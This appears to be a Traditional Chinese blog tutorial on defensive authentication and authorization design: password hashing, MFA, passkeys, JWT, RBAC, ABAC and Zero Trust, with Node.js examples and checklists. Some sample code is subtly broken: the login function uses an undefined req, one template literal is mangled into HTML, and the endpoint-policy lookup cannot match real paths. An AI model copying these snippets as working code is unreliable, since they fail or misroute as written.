[安全設計] 003 認證與授權架構設計實戰指南:從密碼到 Zero Trust|身份驗證、RBAC、ABAC 與 Node.js 程式碼範例
「門鎖決定你能不能進門;門禁卡的權限,決定你進得了哪幾個房間。
認證是驗身分,授權是給權限——搞混了,就會把不該進的人放進去。」
— SSDLC by 飛飛
一、認證與授權是什麼?為什麼你不能只靠一組帳密打天下?
在 SSDLC 的「蓋房子」旅程中,我們已經走過了安全需求定義(確認房子要防什麼)、威脅建模(找出小偷從哪進來)、安全設計原則(建築師的防禦哲學)。現在,我們要進入安全設計階段最實戰的主題——認證(Authentication)與授權(Authorization)。
先用一個生活場景來分清楚這兩件事。
想像你走進一棟辦公大樓。大廳的保全要你刷員工證——這是認證,確認「你是誰」。你刷了卡,保全確認你是合法員工,讓你進入大樓。但這不代表你可以走進每間辦公室。你能進自己部門的樓層,卻不能刷進財務部的金庫——這是授權,決定「你能做什麼」。
在軟體系統中也一樣:
| 概念 | 英文 | 回答的問題 | 生活比喻 |
|---|---|---|---|
| 認證 | Authentication(AuthN) | 你是誰? | 刷員工證進大樓 |
| 授權 | Authorization(AuthZ) | 你能做什麼? | 只能進自己部門的樓層 |
這兩件事看似簡單,卻是 OWASP Top 10 中排名前三的重災區。A01:2021 — Broken Access Control(權限控制失效) 連續多年高居榜首,而 A07:2021 — Identification and Authentication Failures(認證失效) 也名列前茅。換句話說,全世界最常見的資安漏洞,就是「搞不清楚誰是誰」和「管不住誰能做什麼」。
飛飛觀點:
很多開發者花了大量時間防 SQL Injection 和 XSS,卻忘了最基本的事:你的系統真的確認了「這個請求是誰發的」嗎?他真的有權限做這件事嗎?把認證和授權做對,比擋住任何單一攻擊都重要。
二、認證機制選擇:從「你知道什麼」到「你是什麼」
認證的本質是回答一個問題:「你怎麼證明你是你?」
根據認證因子(Authentication Factor)的不同,可以分成三大類:
| 認證因子 | 英文 | 說明 | 範例 |
|---|---|---|---|
| 你知道的東西 | Something you know | 只有你知道的秘密 | 密碼、PIN 碼、安全問題 |
| 你擁有的東西 | Something you have | 你持有的實體或數位物品 | 手機 OTP、硬體金鑰、智慧卡 |
| 你本身的特徵 | Something you are | 你的生物特徵 | 指紋、臉部辨識、虹膜掃描 |
單獨使用任何一種因子都不夠安全。密碼會被猜到、手機會被偷、指紋甚至可以被複製。所以現代系統的最佳實踐是多因素認證(MFA, Multi-Factor Authentication)——至少使用兩種不同類別的因子。
2.1 密碼:最古老也最脆弱的認證方式
密碼是最普遍的認證方式,也是最容易出問題的。以下是開發者在處理密碼時最常犯的錯誤:
| 常見錯誤 | 為什麼危險 | 正確做法 |
|---|---|---|
| 密碼明碼存資料庫 | 資料庫被入侵 = 所有密碼外洩 | 使用 Argon2id 或 bcrypt 雜湊 |
| 限制密碼長度上限為 8 碼 | 8 碼密碼可在數小時內被暴力破解 | 最低 12 碼,上限至少 64 碼 |
| 要求定期換密碼(每 90 天) | 使用者只會在舊密碼後加 1、2、3 | NIST 建議不再強制定期更換(SP 800-63B) |
| 限制不能用特殊符號 | 縮小密碼空間,降低破解難度 | 允許所有 Unicode 字元 |
| 自己寫密碼雜湊邏輯 | 幾乎肯定有漏洞 | 使用成熟的函式庫 |
Node.js 密碼雜湊範例:
const argon2 = require('argon2');
// ✅ 註冊時:雜湊密碼
async function hashPassword(plainPassword) {
return await argon2.hash(plainPassword, {
type: argon2.argon2id, // 使用 Argon2id 變體(抵抗 GPU 和 side-channel 攻擊)
memoryCost: 65536, // 64 MB 記憶體
timeCost: 3, // 迭代次數
parallelism: 4 // 平行度
});
}
// ✅ 登入時:驗證密碼
async function verifyPassword(plainPassword, hashedPassword) {
return await argon2.verify(hashedPassword, plainPassword);
}
// ✅ 完整的登入流程
async function login(email, password) {
const user = await db.query(
'SELECT id, password_hash, login_attempts, locked_until FROM users WHERE email = $1',
[email]
);
// 不管帳號存不存在,都要做雜湊比對(防止 Timing Attack)
if (!user) {
await argon2.hash('dummy-password'); // 花費相同時間
return { success: false, message: '帳號或密碼錯誤' };
}
// 檢查帳號是否被鎖定
if (user.locked_until && user.locked_until > new Date()) {
return { success: false, message: '帳號已鎖定,請稍後再試' };
}
const isValid = await verifyPassword(password, user.password_hash);
if (!isValid) {
// 累加失敗次數,5 次後鎖定 15 分鐘
await incrementLoginAttempts(user.id);
await logSecurityEvent('LOGIN_FAILED', { userId: user.id, ip: req.ip });
return { success: false, message: '帳號或密碼錯誤' }; // 不透露是帳號錯還是密碼錯
}
// 登入成功,重置失敗次數
await resetLoginAttempts(user.id);
await logSecurityEvent('LOGIN_SUCCESS', { userId: user.id, ip: req.ip });
return { success: true, token: generateJWT(user) };
}
2.2 多因素認證(MFA):不要把所有雞蛋放在密碼這個籃子裡
密碼再強也可能被釣魚、被社交工程、被資料庫外洩。MFA 的價值在於:即使密碼被盜,攻擊者還需要突破另一道關卡。
常見的 MFA 方式比較:
| MFA 方式 | 安全性 | 便利性 | 成本 | 適合場景 |
|---|---|---|---|---|
| 簡訊 OTP | ⭐⭐ | ⭐⭐⭐⭐ | 低 | 一般會員系統(但注意 SIM Swap 攻擊) |
| TOTP(如 Google Authenticator) | ⭐⭐⭐ | ⭐⭐⭐ | 免費 | 內部系統、開發者工具 |
| 推播通知(如 Duo、Line Notify) | ⭐⭐⭐ | ⭐⭐⭐⭐ | 中 | 企業內部系統 |
| FIDO2/WebAuthn(硬體金鑰、Passkey) | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | 高 | 高安全需求(金融、管理員帳號) |
| Email OTP | ⭐⭐ | ⭐⭐ | 免費 | 低風險操作的二次確認 |
飛飛觀點:
簡訊 OTP 很常見,但它並不像你以為的那麼安全。SIM Swap 攻擊(打電話給電信商假裝是你,把你的門號轉到攻擊者的 SIM 卡)在台灣已經有實際案例。如果你的系統處理金流或敏感資料,建議至少用 TOTP,最好支援 FIDO2/Passkey。
2.3 Passkey 與 FIDO2:密碼的終結者
Passkey 是 FIDO Alliance 推動的下一代認證標準,目標是徹底取代密碼。它的原理是:
- 使用者的裝置(手機、電腦)生成一對公私鑰
- 公鑰存在伺服器,私鑰留在裝置上
- 認證時,伺服器發出挑戰(Challenge),裝置用私鑰簽名回應
- 伺服器用公鑰驗證簽名
這意味著:伺服器上完全沒有密碼或密碼雜湊,就算資料庫被入侵,攻擊者也拿不到任何可以用來登入的東西。
// Passkey 註冊流程(使用 @simplewebauthn/server)
const { generateRegistrationOptions, verifyRegistrationResponse }
= require('@simplewebauthn/server');
// 步驟一:產生註冊選項
app.post('/api/auth/passkey/register-options', async (req, res) => {
const user = req.user;
const options = await generateRegistrationOptions({
rpName: '我的台灣電商', // 你的服務名稱
rpID: 'myshop.com.tw', // 你的網域
userID: user.id,
userName: user.email,
attestationType: 'none', // 一般應用不需要硬體認證
authenticatorSelection: {
residentKey: 'preferred', // 支援 Passkey(Discoverable Credential)
userVerification: 'preferred' // 偏好生物辨識驗證
}
});
// 暫存 challenge,等驗證時比對
await saveChallenge(user.id, options.challenge);
res.json(options);
});
// 步驟二:驗證註冊結果
app.post('/api/auth/passkey/register-verify', async (req, res) => {
const user = req.user;
const expectedChallenge = await getChallenge(user.id);
const verification = await verifyRegistrationResponse({
response: req.body,
expectedChallenge,
expectedOrigin: 'https://myshop.com.tw',
expectedRPID: 'myshop.com.tw'
});
if (verification.verified) {
// 儲存公鑰,之後登入驗證用
await savePasskey(user.id, verification.registrationInfo);
res.json({ success: true });
}
});
2.4 身份驗證機制選擇指南
面對這麼多認證方式,怎麼選?以下是根據不同場景的建議:
| 場景 | 建議認證方式 | 理由 |
|---|---|---|
| 一般電商會員 | 密碼 + Email OTP(敏感操作時) | 平衡安全與便利 |
| 網路銀行 / 金融 App | 密碼 + TOTP/推播 + 生物辨識 | 金管會要求,高風險場景 |
| 內部管理後台 | SSO + MFA(TOTP 或硬體金鑰) | 管理員帳號一旦被盜,影響全系統 |
| API 服務對接 | API Key + mTLS | 機器對機器,不需要人類互動 |
| 微服務之間 | JWT + Service Mesh mTLS | 服務間信任建立 |
| 高安全需求(政府、軍事) | FIDO2 硬體金鑰 + 智慧卡 | 最高安全等級 |
三、Token 機制:認證之後,怎麼「記住」你?
使用者通過認證後,系統需要一種方式來「記住」他已經登入了,不用每次操作都重新輸入密碼。這就是 Token 的角色。
3.1 Session vs. JWT:兩種主流方案
| 比較維度 | Session(伺服器端) | JWT(客戶端) |
|---|---|---|
| 狀態儲存 | 伺服器(記憶體或 Redis) | 客戶端(Cookie 或 LocalStorage) |
| 擴展性 | 需要共享 Session Store(如 Redis) | 天然適合分散式架構 |
| 撤銷機制 | 簡單(直接刪除 Session) | 困難(需要額外的黑名單機制) |
| 適合場景 | 傳統 Web 應用、單體架構 | SPA、行動 App、微服務架構 |
| 安全考量 | CSRF 攻擊 | Token 過期管理、儲存安全 |
JWT 的正確使用方式:
const jwt = require('jsonwebtoken');
// ✅ JWT 簽發:只放必要資訊,不放敏感資料
function generateTokens(user) {
const accessToken = jwt.sign(
{
sub: user.id, // 使用者 ID
role: user.role, // 角色(但授權時要再到 DB 確認!)
type: 'access'
},
process.env.JWT_SECRET,
{
expiresIn: '15m', // Access Token 短效期:15 分鐘
issuer: 'myshop.com.tw',
audience: 'myshop-api'
}
);
const refreshToken = jwt.sign(
{ sub: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET, // 用不同的密鑰!
{ expiresIn: '7d' } // Refresh Token 較長:7 天
);
return { accessToken, refreshToken };
}
// ✅ JWT 驗證中間件
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader && authHeader.split(' ')[1]; // Bearer <token>
if (!token) {
return res.status(401).json({ error: '未提供認證 Token' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
issuer: 'myshop.com.tw',
audience: 'myshop-api'
});
// ⚠️ 重要:不要只信任 Token 裡的角色資訊
// 要去資料庫確認使用者是否仍然有效
req.userId = decoded.sub;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token 已過期,請重新登入' });
}
return res.status(403).json({ error: '無效的 Token' });
}
}
飛飛觀點:
JWT 最常見的錯誤就是「把太多東西塞進 Token 裡,然後完全信任 Token 的內容」。記住:JWT 是「簽名」不是「加密」——任何人都可以 decode 看到裡面的內容。絕對不要在 JWT 裡放密碼、信用卡號、或任何敏感資料。而且,Token 裡的角色和權限只是「快取」,真正做授權決策時,還是要到資料庫確認最新狀態。
3.2 Token 儲存安全
Token 存在哪裡,直接決定它的安全性:
| 儲存位置 | XSS 風險 | CSRF 風險 | 建議 |
|---|---|---|---|
| <code>localStorage</code> | ❌ 高(JS 可讀) | ✅ 無 | 不建議存敏感 Token |
| <code>sessionStorage</code> | ❌ 高(JS 可讀) | ✅ 無 | 不建議存敏感 Token |
| <code>HttpOnly Cookie</code> | ✅ 低(JS 不可讀) | ❌ 需要 CSRF 防護 | 推薦方案 |
| <code>HttpOnly Cookie</code> + SameSite | ✅ 低 | ✅ 低 | 最佳實踐 |
// ✅ 最佳實踐:用 HttpOnly + Secure + SameSite Cookie 存 Token
res.cookie('access_token', accessToken, {
httpOnly: true, // JavaScript 無法讀取
secure: true, // 只在 HTTPS 下傳送
sameSite: 'Strict', // 阻擋跨站請求(防 CSRF)
maxAge: 15 * 60 * 1000, // 15 分鐘
path: '/api' // 只在 API 路徑下傳送
});
四、授權模型:RBAC vs. ABAC,選哪個?
認證解決了「你是誰」,接下來要解決「你能做什麼」。這就是授權模型的工作。
4.1 RBAC(Role-Based Access Control):基於角色的存取控制
RBAC 是最常見的授權模型,核心邏輯是:使用者 → 角色 → 權限。
用辦公室比喻:你的工作職稱(角色)決定你能進哪些房間(權限)。經理可以進會議室和辦公區,實習生只能進辦公區。
台灣電商平台的 RBAC 設計:
角色定義:
├── customer(一般會員)
│ ├── 瀏覽商品
│ ├── 下訂單
│ ├── 查看自己的訂單
│ └── 修改自己的個資
├── seller(賣家)
│ ├── 管理自己的商品(CRUD)
│ ├── 查看自己的訂單
│ ├── 回覆評論
│ └── 查看自己的銷售報表
├── customer_service(客服)
│ ├── 查看訂單(所有)
│ ├── 修改訂單狀態
│ └── 查看會員基本資料(遮蔽敏感欄位)
├── admin(管理員)
│ ├── 管理使用者帳號
│ ├── 管理系統設定
│ └── 查看所有報表
└── super_admin(超級管理員)
└── 所有權限 + 管理管理員帳號
Node.js RBAC 實作:
// 權限定義:每個角色有哪些權限
const ROLE_PERMISSIONS = {
customer: [
'product:read',
'order:create',
'order:read:own', // 只能讀自己的
'profile:read:own',
'profile:update:own'
],
seller: [
'product:read',
'product:create:own',
'product:update:own',
'product:delete:own',
'order:read:own',
'review:reply:own',
'report:read:own'
],
customer_service: [
'product:read',
'order:read:all',
'order:update:status',
'user:read:basic' // 只能看基本資料,敏感欄位遮蔽
],
admin: [
'user:read:all',
'user:update:all',
'user:delete:all',
'system:config:read',
'system:config:update',
'report:read:all'
]
};
// 授權中間件
function authorize(...requiredPermissions) {
return async (req, res, next) => {
// ⚠️ 從資料庫即時查詢角色,不只依賴 Token
const user = await db.query(
'SELECT role, status FROM users WHERE id = $1',
[req.userId]
);
if (!user || user.status !== 'active') {
return res.status(403).json({ error: '帳號已停用或不存在' });
}
const userPermissions = ROLE_PERMISSIONS[user.role] || [];
const hasPermission = requiredPermissions.every(
perm => userPermissions.includes(perm)
);
if (!hasPermission) {
await logSecurityEvent('AUTHORIZATION_DENIED', {
userId: req.userId,
role: user.role,
requiredPermissions,
path: req.path
});
return res.status(403).json({ error: '權限不足' });
}
req.userRole = user.role;
next();
};
}
// 使用範例
app.get('/api/orders',
authenticateToken,
authorize('order:read:all'),
async (req, res) => { /* ... */ }
);
app.delete('/api/users/:id',
authenticateToken,
authorize('user:delete:all'),
async (req, res) => { /* ... */ }
);
4.2 ABAC(Attribute-Based Access Control):基於屬性的存取控制
RBAC 簡單好用,但面對複雜的權限需求時會顯得力不從心。比如:
- 「賣家只能在營業時間修改商品」——這涉及時間屬性
- 「客服只能查看自己負責區域的訂單」——這涉及地理屬性
- 「只有通過 KYC 驗證的使用者才能購買高單價商品」——這涉及使用者屬性
這些場景用 RBAC 很難表達,因為你需要為每種組合建立一個角色,角色會爆炸性增長(「台北區日班客服」、「台北區夜班客服」、「高雄區日班客服」…)。
ABAC 的解法是:不只看角色,還看環境、資源、動作的各種屬性來做決策。
ABAC 決策公式:
允許?= f(主體屬性, 資源屬性, 動作屬性, 環境屬性)
主體屬性:角色、部門、KYC 狀態、信用等級...
資源屬性:資料分類、擁有者、敏感等級...
動作屬性:讀取、寫入、刪除、匯出...
環境屬性:時間、IP 位址、裝置、地理位置...
Node.js ABAC 實作範例:
// ABAC 策略引擎
class PolicyEngine {
constructor() {
this.policies = [];
}
addPolicy(policy) {
this.policies.push(policy);
}
evaluate(context) {
// 預設拒絕(Deny by Default)
let decision = 'DENY';
for (const policy of this.policies) {
const result = policy.evaluate(context);
if (result === 'DENY') return 'DENY'; // 任何明確拒絕 → 直接拒絕
if (result === 'ALLOW') decision = 'ALLOW';
}
return decision;
}
}
// 定義策略
const policyEngine = new PolicyEngine();
// 策略一:賣家只能在營業時間(08:00-22:00)修改商品
policyEngine.addPolicy({
name: 'seller-business-hours',
evaluate: (ctx) => {
if (ctx.subject.role !== 'seller') return 'NOT_APPLICABLE';
if (ctx.action !== 'update' || ctx.resource.type !== 'product') return 'NOT_APPLICABLE';
const hour = new Date().getHours();
if (hour >= 8 && hour < 22) return 'ALLOW';
return 'DENY'; // 非營業時間拒絕修改
}
});
// 策略二:只有通過 KYC 的使用者才能購買 NT$50,000 以上的商品
policyEngine.addPolicy({
name: 'high-value-purchase-kyc',
evaluate: (ctx) => {
if (ctx.action !== 'purchase') return 'NOT_APPLICABLE';
if (ctx.resource.price < 50000) return 'NOT_APPLICABLE';
if (ctx.subject.kycVerified) return 'ALLOW';
return 'DENY';
}
});
// 策略三:客服只能查看自己負責區域的訂單
policyEngine.addPolicy({
name: 'cs-regional-access',
evaluate: (ctx) => {
if (ctx.subject.role !== 'customer_service') return 'NOT_APPLICABLE';
if (ctx.action !== 'read' || ctx.resource.type !== 'order') return 'NOT_APPLICABLE';
if (ctx.subject.region === ctx.resource.region) return 'ALLOW';
return 'DENY';
}
});
// 在 API 中使用
app.put('/api/products/:id',
authenticateToken,
async (req, res) => {
const product = await getProduct(req.params.id);
const user = await getUser(req.userId);
const decision = policyEngine.evaluate({
subject: { role: user.role, region: user.region, kycVerified: user.kycVerified },
resource: { type: 'product', ownerId: product.sellerId, price: product.price },
action: 'update',
environment: { time: new Date(), ip: req.ip }
});
if (decision !== 'ALLOW') {
return res.status(403).json({ error: '目前無法執行此操作' });
}
// 執行更新...
}
);
4.3 RBAC vs. ABAC:怎麼選?
| 比較維度 | RBAC | ABAC |
|---|---|---|
| 複雜度 | 低,容易理解和維護 | 高,策略多了容易混亂 |
| 彈性 | 低,角色固定 | 高,可依各種屬性動態決策 |
| 適合場景 | 角色明確、權限規則簡單 | 權限需要考慮多種條件 |
| 效能 | 快(查表即可) | 較慢(每次要評估多條策略) |
| 稽核 | 容易(誰有什麼角色一目了然) | 複雜(需要追蹤哪條策略允許了什麼) |
| 台灣常見場景 | 一般電商、CMS、內部管理系統 | 金融業、醫療、多租戶 SaaS |
飛飛觀點:
90% 的系統用 RBAC 就夠了。不要為了追求技術的先進性而導入 ABAC——除非你的業務需求真的需要。如果你發現 RBAC 的角色數量開始爆炸(超過 15 個角色),那就是該考慮 ABAC 的時候了。一個務實的做法是:先用 RBAC 打底,對少數複雜場景補充 ABAC 策略。
五、從城堡到公路:Zero Trust 架構入門
5.1 傳統模型的問題:城堡與護城河
傳統的網路安全模型就像中世紀的城堡——一旦你通過護城河(防火牆)和城門(VPN),進入城堡內部後就自由了。這叫做邊界安全(Perimeter Security)。
但這個模型有致命的問題:
- 攻擊者一旦突破邊界(釣魚、VPN 漏洞、內鬼),就可以在內網橫向移動
- 雲端和遠端工作讓「邊界」變得模糊——你的員工在咖啡廳用公共 Wi-Fi 連 VPN,邊界在哪?
- 微服務架構下,服務之間的通訊不再只在「城堡內」
5.2 Zero Trust 的核心原則:「永不信任,持續驗證」
Zero Trust 不是一個產品,而是一種架構設計哲學。它的核心前提是:不管你在哪裡(公司內網還是咖啡廳)、不管你是誰(員工還是合作夥伴),每一次存取都要被驗證和授權。
用蓋房子比喻:傳統模型是「社區大門有門禁,但進了社區每戶都不鎖門」;Zero Trust 是「每一道門都有獨立的門鎖和監視器,每次進入都要刷卡」。
Zero Trust 的三大原則:
| 原則 | 說明 | 實踐方式 |
|---|---|---|
| 永不信任 | 不因為在內網就自動信任 | 所有請求都需要認證和授權 |
| 持續驗證 | 不是登入一次就永遠信任 | 持續評估裝置狀態、行為異常、Token 效期 |
| 最小權限 | 只給完成當下任務所需的最小權限 | 動態權限調整、Just-in-Time Access |
5.3 在 Node.js 微服務中實踐 Zero Trust
// 微服務之間的 Zero Trust 驗證中間件
async function zeroTrustMiddleware(req, res, next) {
// 1. 驗證呼叫者身份(服務對服務認證)
const serviceToken = req.headers['x-service-token'];
if (!verifyServiceToken(serviceToken)) {
return res.status(401).json({ error: '未認證的服務呼叫' });
}
// 2. 檢查呼叫者是否有權限存取此端點
const callerService = decodeServiceToken(serviceToken).serviceName;
const allowedCallers = getEndpointPolicy(req.path, req.method);
if (!allowedCallers.includes(callerService)) {
await logSecurityEvent('ZERO_TRUST_DENIED', {
caller: callerService,
path: req.path,
reason: 'SERVICE_NOT_ALLOWED'
});
return res.status(403).json({ error: '此服務無權存取此端點' });
}
// 3. 檢查呼叫頻率是否異常
const callRate = await getServiceCallRate(callerService, req.path);
if (callRate > THRESHOLD) {
await logSecurityEvent('ZERO_TRUST_ANOMALY', {
caller: callerService,
callRate,
threshold: THRESHOLD
});
return res.status(429).json({ error: '呼叫頻率異常' });
}
// 4. 如果請求攜帶使用者 Token,也要驗證
if (req.headers['authorization']) {
try {
const userToken = req.headers['authorization'].split(' ')[1];
const decoded = jwt.verify(userToken, process.env.JWT_SECRET);
req.userId = decoded.sub;
} catch (err) {
return res.status(401).json({ error: '使用者 Token 無效' });
}
}
// 5. 記錄所有存取行為(稽核日誌)
await logAccess({
caller: callerService,
userId: req.userId || 'system',
path: req.path,
method: req.method,
timestamp: new Date()
});
next();
}
// 服務間的端點存取策略
function getEndpointPolicy(path, method) {
const policies = {
'GET /api/users/:id': ['order-service', 'notification-service'],
'POST /api/payments': ['order-service'],
'PUT /api/orders/:id/status': ['delivery-service', 'payment-service'],
// 每個端點明確列出哪些服務可以呼叫
};
return policies[<code class="kb-btn">${method} ${path}</code>] || [];
}
5.4 Zero Trust 落地路線圖
不可能一夜之間變成 Zero Trust。以下是分階段導入的務實建議:
階段一:盤點與基礎建設(1-3 個月)
- 盤點所有系統、服務、使用者、資料流
- 為所有內部服務加上認證(不再依賴「內網就安全」)
- 導入集中式身份管理(如 Keycloak、Auth0)
階段二:強化存取控制(3-6 個月)
- 實施最小權限原則,盤點並收回過大的權限
- 所有管理員帳號啟用 MFA
- 導入 API Gateway 統一管理存取
階段三:持續監控與動態信任(6-12 個月)
- 建立行為異常偵測機制
- 導入裝置信任評估(裝置是否更新、是否有防毒)
- 實施 Just-in-Time 權限(需要時申請,用完自動撤銷)
六、實戰案例:台灣線上訂餐平台的認證與授權設計
讓我們用一個完整的案例,把本篇所有觀念串起來。
場景
你的團隊正在為一間台灣連鎖餐飲集團設計線上訂餐平台。系統有四種角色:消費者、店家、外送員、總部管理員。
認證架構設計
消費者:Email/密碼 + 手機 OTP(首次登入新裝置時)
支援 Line Login 社群登入(OAuth 2.0)
支援 Passkey(可選)
店家: Email/密碼 + TOTP(Google Authenticator)
必須啟用 MFA
外送員:手機號碼 + 簡訊 OTP(每次登入)
GPS 位置驗證(確認在營業區域內)
管理員:SSO(公司 AD 整合)+ FIDO2 硬體金鑰
IP 白名單(只能從辦公室網路登入)
授權架構設計(RBAC + 部分 ABAC)
// RBAC 基礎權限
const ROLE_PERMISSIONS = {
customer: [
'menu:read',
'order:create',
'order:read:own',
'order:cancel:own', // 只能取消自己的訂單
'review:create',
'payment:create:own'
],
store: [
'menu:manage:own', // 只能管理自家菜單
'order:read:own_store', // 只能看到自家的訂單
'order:update:status:own', // 只能更新自家訂單狀態
'review:reply:own'
],
delivery: [
'order:read:assigned', // 只能看被指派的訂單
'order:update:delivery', // 只能更新配送狀態
'location:update:own' // 只能更新自己的位置
],
admin: [
'user:manage:all',
'store:manage:all',
'order:read:all',
'report:read:all',
'system:config:manage'
]
};
// ABAC 補充策略
const abacPolicies = [
// 消費者只能在訂單建立後 5 分鐘內取消
{
name: 'order-cancel-time-limit',
evaluate: (ctx) => {
if (ctx.action !== 'cancel' || ctx.resource.type !== 'order') return 'NOT_APPLICABLE';
const minutesSinceCreated = (Date.now() - ctx.resource.createdAt) / 60000;
return minutesSinceCreated <= 5 ? 'ALLOW' : 'DENY';
}
},
// 店家只能在營業時間接受新訂單
{
name: 'store-business-hours',
evaluate: (ctx) => {
if (ctx.subject.role !== 'store') return 'NOT_APPLICABLE';
if (ctx.action !== 'accept') return 'NOT_APPLICABLE';
const now = new Date();
const hour = now.getHours();
return (hour >= ctx.subject.openHour && hour < ctx.subject.closeHour)
? 'ALLOW' : 'DENY';
}
},
// 外送員只能在被指派的配送區域內操作
{
name: 'delivery-zone-restriction',
evaluate: (ctx) => {
if (ctx.subject.role !== 'delivery') return 'NOT_APPLICABLE';
return ctx.subject.assignedZone === ctx.resource.deliveryZone
? 'ALLOW' : 'DENY';
}
}
];
Token 策略
Access Token: 15 分鐘,HttpOnly Cookie,存使用者 ID 和角色
Refresh Token: 消費者 30 天、店家 7 天、管理員 1 天
密碼重設 Token:30 分鐘,一次性使用
Email 驗證 Token:24 小時,一次性使用
所有 Token 簽發時記錄:IP、User-Agent、裝置指紋
Token 被使用時,如果 IP 或裝置指紋與簽發時不同 → 觸發 MFA 重新驗證
七、認證與授權設計 Checklist
以下是一份可以直接用於專案的檢核清單:
## 認證設計 Checklist
### 密碼安全
- [ ] 密碼使用 Argon2id 或 bcrypt 雜湊(不是 MD5 / SHA-256)
- [ ] 最低密碼長度 ≥ 12 碼
- [ ] 不限制密碼字元類型(允許 Unicode)
- [ ] 登入失敗 5 次鎖定帳號 15 分鐘
- [ ] 錯誤訊息統一為「帳號或密碼錯誤」
- [ ] 密碼重設連結 30 分鐘過期,一次性使用
- [ ] 密碼重設後撤銷所有已簽發的 Token
### 多因素認證
- [ ] 管理員帳號強制啟用 MFA
- [ ] 敏感操作(改密碼、改 Email、大額交易)要求 MFA
- [ ] 新裝置首次登入要求額外驗證
- [ ] 提供多種 MFA 選項(不只有簡訊 OTP)
### Token 管理
- [ ] Access Token 效期 ≤ 30 分鐘
- [ ] Refresh Token 有適當的效期
- [ ] Token 存在 HttpOnly + Secure + SameSite Cookie
- [ ] JWT 不包含敏感資料(密碼、信用卡號)
- [ ] 有 Token 撤銷機制(登出、密碼變更時)
### 登入安全
- [ ] 所有登入行為(成功/失敗)都有日誌記錄
- [ ] 日誌中不包含密碼(含雜湊值)
- [ ] 有異常登入偵測(異地登入、短時間大量嘗試)
- [ ] 社群登入(OAuth)有 state 參數防 CSRF
## 授權設計 Checklist
### 存取控制
- [ ] 預設拒絕(Deny by Default),明確授予權限
- [ ] 每個 API 端點都有授權檢查(不依賴前端隱藏)
- [ ] 授權決策在伺服器端,不信任前端傳來的角色資訊
- [ ] 資源存取檢查所有權(使用者只能存取自己的資料)
- [ ] 權限變更即時生效(不等 Token 過期)
### RBAC 設計
- [ ] 角色定義清楚,職責不重疊
- [ ] 管理員權限分級(不是只有一個 admin 角色)
- [ ] 角色指派有審核機制(不能自己升級自己的角色)
- [ ] 定期盤點權限,移除不再需要的角色指派
### 日誌與稽核
- [ ] 所有授權失敗都記錄日誌
- [ ] 權限變更(角色指派、權限調整)都有稽核紀錄
- [ ] 異常存取行為有即時告警
八、常見問題 FAQ
Q1:JWT 和 Session 我到底該選哪個?
如果你的架構是傳統的 Server-Side Rendering(如 Express + EJS),或者是單體架構,用 Session 就好——簡單、撤銷方便、不需要處理 Token 過期的複雜邏輯。
如果你的架構是 SPA + API、行動 App、或微服務,JWT 是更自然的選擇——無狀態、適合分散式系統、跨服務認證方便。
但記住:不管選哪個,安全原則都一樣——短效期、安全儲存、可撤銷。
Q2:我的系統很小,需要考慮 Zero Trust 嗎?
Zero Trust 的完整架構確實比較適合中大型組織。但它的核心精神——「每次存取都驗證」——不管系統多小都適用。
對小團隊來說,至少做到以下三點:
- 每個 API 端點都有認證檢查(不要有「匿名可存取的內部 API」)
- 管理員帳號啟用 MFA
- 不要因為「在內網」就省略認證
這三件事不需要買任何工具,花一天就能做到。
Q3:RBAC 的角色太多了怎麼辦?
角色爆炸通常有兩個原因:
-
把「權限」當成「角色」:比如你建了「可匯出報表的客服」、「不可匯出報表的客服」兩個角色,其實應該是一個「客服」角色加上「報表匯出」這個獨立權限。
-
把「組織結構」塞進角色:比如「台北區主管」、「高雄區主管」。組織結構應該用 ABAC 的屬性來處理,不是建新角色。
如果角色超過 15 個,建議重新審視角色設計,看看是否需要引入 ABAC 來處理動態條件。
Q4:這些跟台灣的法規有什麼關係?
台灣個資法要求「適當安全維護措施」,認證與授權就是最核心的安全措施之一。具體來說:
- 個資法 §27:要有適當的存取控制機制(就是授權)
- 金融資安行動方案:要求電子交易必須有多因素驗證
- 資通安全管控指引:上市櫃公司需要有帳號管理與存取控制機制
做好認證與授權,不只是安全最佳實踐,也是法規遵循的基本要求。
九、結語:認證是門鎖,授權是房間鑰匙,Zero Trust 是每道門都上鎖
回到蓋房子的比喻。一棟安全的建築,不會只在大門口放一個保全就覺得萬事大吉。每一層樓有門禁、每一間辦公室有獨立的鑰匙、金庫還需要雙人同時開啟——這就是認證、授權、Zero Trust 在建築中的體現。
軟體系統也是一樣。認證確認「你是誰」,授權決定「你能做什麼」,Zero Trust 確保「每一次存取都經過驗證」。這三者不是三個獨立的系統,而是層層遞進的安全架構。
很多開發者會說:「這些東西好複雜,我們先上線再說。」但認證和授權是系統的骨架——就像承重牆一樣,事後要改的成本極高。如果你在設計階段就把認證和授權的架構想清楚,後續的開發反而會更順暢,因為你不需要一直回頭修補。
就像這個系列一直在說的:安全不是恐懼,而是創造的基礎。 堅固的認證與授權架構,不是限制你的創造力,而是讓你可以安心地在上面建構更豐富、更有價值的功能。
下一篇,我們會進入安全設計的另一個重要主題——API 安全設計:保護你的資料入口。認證授權的架構有了,接下來要看看怎麼把 API 這個對外大門守好。
延伸閱讀
[安全設計] 002 安全設計原則實戰指南:最小權限、縱深防禦、預設安全|七大原則與 Node.js 程式碼範例
你可以在上線前跑一百次滲透測試,
但如果系統在設計時就沒有安全的骨架,那不過是在紙糊的牆上貼防彈貼紙。
一、安全設計原則是什麼?為什麼你應該在寫程式前就搞懂它?
延續 SSDLC 的「蓋房子」比喻——如果說安全需求是確認「這棟房子要防震、防火、防盜」,威脅建模是找出「小偷可能從哪裡闖入」,那麼安全設計原則就是建築師的設計哲學:承重牆要放哪裡、逃生動線怎麼規劃、哪些地方要用防火建材。
安全設計原則不是一份 Checklist,而是一套思維框架。它告訴你:在面對各種設計決策時,怎麼選擇才能讓系統「先天體質好」,而不是靠後天吃補藥。
在 SSDLC 的七大階段中,安全設計原則屬於階段二:安全設計(Design)。上一篇我們學了用 STRIDE 做威脅建模,找出「威脅從哪來」;這一篇,我們要學的是「怎麼用設計把威脅擋在門外」。
飛飛觀點:
很多開發者把安全當成「功能做完再補上去的東西」。但安全設計原則告訴我們:安全不是外掛,是地基。地基歪了,上面蓋再多防禦工事都沒用。
二、七大安全設計原則:建築師的防禦哲學
